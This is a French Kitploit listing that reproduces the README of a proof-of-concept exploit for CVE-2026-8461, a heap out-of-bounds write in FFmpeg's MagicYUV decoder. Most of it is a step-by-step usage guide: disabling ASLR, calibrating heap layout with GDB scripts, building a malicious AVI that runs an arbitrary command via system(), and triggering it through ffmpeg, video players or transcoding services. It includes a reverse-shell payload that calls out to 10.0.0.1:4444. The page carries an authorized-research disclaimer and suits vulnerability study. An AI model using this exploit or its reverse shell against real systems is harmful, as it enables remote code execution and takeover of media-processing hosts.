Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-8461-EXP — Preuve de concept d'exploitation pour CVE-2026-8461, une écriture hors limites du tas dans le décodeur MagicYUV de FFmpeg, permettant l'exécution de code à distance via le détournement d'AVBuffer.free. Inclut des scripts de calibration pour les builds de débogage et de production. | Kitploit
Outils/GitHubGitHub/y5neko/cve-2026-8461-exp
Analyse des VulnérabilitésExploitationCTFApprentissage et ÉducationDéveloppement de Charges UtilesExploitation de Binaires
GitHuby5neko/cve-2026-8461-exp

CVE-2026-8461-EXP

Voir le dépôt
1423il y a 2 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →

À propos

Preuve de concept d'exploitation pour CVE-2026-8461, une écriture hors limites du tas dans le décodeur MagicYUV de FFmpeg, permettant l'exécution de code à distance via le détournement d'AVBuffer.free. Inclut des scripts de calibration pour les builds de débogage et de production.

Partager

CVE-2026-8461 « PixelSmash » — Preuve de concept d’écriture hors limites du tas MagicYUV de FFmpeg

[!WARNING] Ce dépôt contient une preuve de concept fonctionnelle pour une vulnérabilité de corruption du tas. Il est destiné uniquement à la recherche en sécurité autorisée, aux contextes CTF et à l'analyse défensive. Ne pas l'utiliser contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation écrite explicite.

Affecté : Décodeur MagicYUV de FFmpeg 8.0.1 (libavcodec/magicyuv.c)
Primitive : Écriture hors limites du tas → Détournement de AVBuffer.free → Appel à system()


Vulnérabilité

magy_decode_slice() utilise sheight (hauteur de tranche non limitée) comme borne de boucle pour écrire dans le plan de sortie Cb/Cr, mais alloue le tampon en utilisant la hauteur limitée height. Sur la dernière tranche d'une trame spécialement conçue, la boucle écrit au-delà de la zone allouée.

root@kitploit:~
// magicyuv.c:291 — le pointeur dst est déjà à sheight×stride après le début du tampon
for (i = 0; i < avctx->width >> s->hshift[plane]; i++)
    dst[i] = get_vlc2(...);   // OOB write when sheight > height

L'écriture hors limites atterrit dans une structure AVBuffer allouée ultérieurement. En contrôlant les octets écrits, AVBuffer.free est écrasé avec l'adresse de system() et AVBuffer.opaque avec l'adresse de la chaîne de commande sur le tas. Lorsque la trame est libérée, av_buffer_unref() appelle system(cmd).

Analyse technique complète : English · 中文


Fichiers

FichierDescription
exploit_cve_2026_8461.pyGénérateur d'AVI d'exploitation — fabrique le flux binaire MagicYUV malveillant
auto_calibrate.pyAuto-étalonnage pour les compilations de débogage (nécessite les symboles de débogage -g)
auto_calibrate_nosym.pyAuto-étalonnage pour les compilations de production (allégées, bibliothèques partagées)
CVE-2026-8461_Analysis_EN.mdAnalyse complète de la vulnérabilité (anglais)
CVE-2026-8461_Analysis.mdAnalyse complète de la vulnérabilité (中文)
ffmpeg_prodBinaire FFmpeg 8.0.1 de production allégé pour tests locaux

Prérequis

root@kitploit:~
Python >= 3.8
GDB >= 9.0
kernel.randomize_va_space = 0   (ASLR désactivé — requis pour l'étalonnage)

Dépendances Python : aucune (stdlib uniquement).


Démarrage rapide

Étape 0 — Désactiver l'ASLR

root@kitploit:~
sudo sysctl -w kernel.randomize_va_space=0

Étape 1 — Générer l'étalonnage

Compilation de débogage (compilé avec -g, p. ex. depuis les sources avec --enable-debug) :

root@kitploit:~
python3 auto_calibrate.py \
    --ffmpeg /path/to/ffmpeg-debug \
    --avi    /tmp/exploit.avi \
    -o       calibration.json

Compilation de production (bibliothèques partagées allégées, p. ex. apt install ffmpeg ou --enable-shared personnalisé) :

root@kitploit:~
python3 auto_calibrate_nosym.py \
    --ffmpeg  /path/to/ffmpeg \
    --libpath /path/to/ffmpeg/lib \
    --avi     /tmp/exploit.avi \
    -o        calibration.json

Le chemin --avi doit être identique entre l'étalonnage et la livraison de l'exploit. Modifier la longueur de la chaîne du chemin déplace la disposition du tas et invalide l'étalonnage.

Étape 2 — Générer l'AVI d'exploitation

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "id > /tmp/pwned" \
    -o /tmp/exploit.avi

Étape 3 — Déclencher

root@kitploit:~
# Compilation de débogage (liée statiquement)
/path/to/ffmpeg-debug -i /tmp/exploit.avi -f null -

# Compilation de production (bibliothèque partagée)
LD_LIBRARY_PATH=/path/to/lib /path/to/ffmpeg -i /tmp/exploit.avi -f null -

# FFmpeg installé système (apt/yum)
ffmpeg -i /tmp/exploit.avi -f null -

Sortie attendue : la commande s'exécute, puis le processus plante avec corrupted size vs. prev_size.

root@kitploit:~
cat /tmp/pwned
# uid=1000(user) gid=1000(user) groups=...

image-20260624151409029

Exemple de reverse shell

root@kitploit:~
python3 exploit_cve_2026_8461.py \
    --calibration calibration.json \
    --cmd "bash -c 'bash -i >& /dev/tcp/10.0.0.1/4444 0>&1'" \
    -o /tmp/exploit.avi

Logique de décision du script d'étalonnage

root@kitploit:~
Binaire FFmpeg cible
    │
    ├─ Possède des symboles de débogage ?  (file ffmpeg | grep debug_info)
    │       └─ OUI → auto_calibrate.py
    │
    └─ Allégé / production
            │
            ├─ Lié dynamiquement ?  (ldd ffmpeg | grep libavutil)
            │       └─ OUI → auto_calibrate_nosym.py
            │
            └── Lié statiquement + entièrement allégé
                    └─ Aucun des scripts ne s'applique
                       (nécessite une approche avec crochet malloc via LD_PRELOAD)

auto_calibrate_nosym.py fonctionne en :

  1. Interrompant sur av_buffer_create (toujours présent dans le .dynsym de libavutil.so) pour capturer les pointeurs de données Cb et Cr sans avoir besoin de symboles au niveau source.
  2. Définissant un point d'arrêt matériel d'écriture GDB sur l'adresse de début de l'OOB.
  3. Parcourant le vidage de tas résultant pour localiser la structure AVBuffer et extraire l'adresse de system().

Conditions de déclenchement

L'exploit se déclenche lorsque la cible décode la trame vidéo (pas seulement une simple sonde) :

InvocationDéclenche RCE
ffmpeg -i evil.avi -f null -Oui
ffmpeg -i evil.avi -o out.mp4Oui
Service de transcodage web (boucle de décodage libavcodec)Oui
Lecteur vidéo utilisant libavcodecOui
ffmpeg -i evil.avi (aucune sortie spécifiée)Non — le processus s'arrête avant que av_buffer_unref ne se déclenche
ffprobe evil.aviNon — chemin de simple sonde, aucun décodage complet

Preuve de concept de base (écriture OOB uniquement, sans charge utile)

Pour démontrer la vulnérabilité sans exécuter de commande :

root@kitploit:~
python3 exploit_cve_2026_8461.py --baseline -o baseline.avi
ffmpeg -i baseline.avi -f null -
# plante avec : free(): invalid pointer  ou  corrupted size vs. prev_size

Portée et limitations

  • Architecture : Développé et testé sur x86_64 uniquement. L'exploit dépend d'une disposition spécifique du tas où la structure AVBuffer atterrit à moins de 640 octets de l'adresse de début OOB du plan Cb. Sur aarch64, l'ordre d'allocation de glibc place AVBuffer au-delà de cette plage (le bloc adjacent est le tampon Cr d'environ 10 Ko), donc l'écriture OOB ne peut pas l'atteindre avec la géométrie de trame actuelle. Un portage vers aarch64 nécessite un profilage de la disposition du tas aarch64 et un ajustement de la géométrie de trame en conséquence.
  • ASLR : Doit être désactivé (kernel.randomize_va_space=0). Avec ASLR activé, les adresses du tas sont randomisées à chaque exécution et l'étalonnage ne s'applique pas. Une primitive de fuite d'informations serait nécessaire pour étendre cela à des cibles avec ASLR activé.
  • Portée de l'étalonnage : Valable pour un binaire spécifique sur une machine spécifique. Une compilation différente, une version différente de libc ou une longueur de chemin AVI différente nécessitent un ré-étalonnage.
  • Chemin AVI : L'AVI d'exploitation doit être fourni via le même chemin absolu que celui utilisé lors de l'étalonnage.
  • auto_calibrate_nosym.py : Nécessite un FFmpeg lié dynamiquement avec libavutil.so accessible (soit dans les chemins système, soit via --libpath).
Télécharger l’outil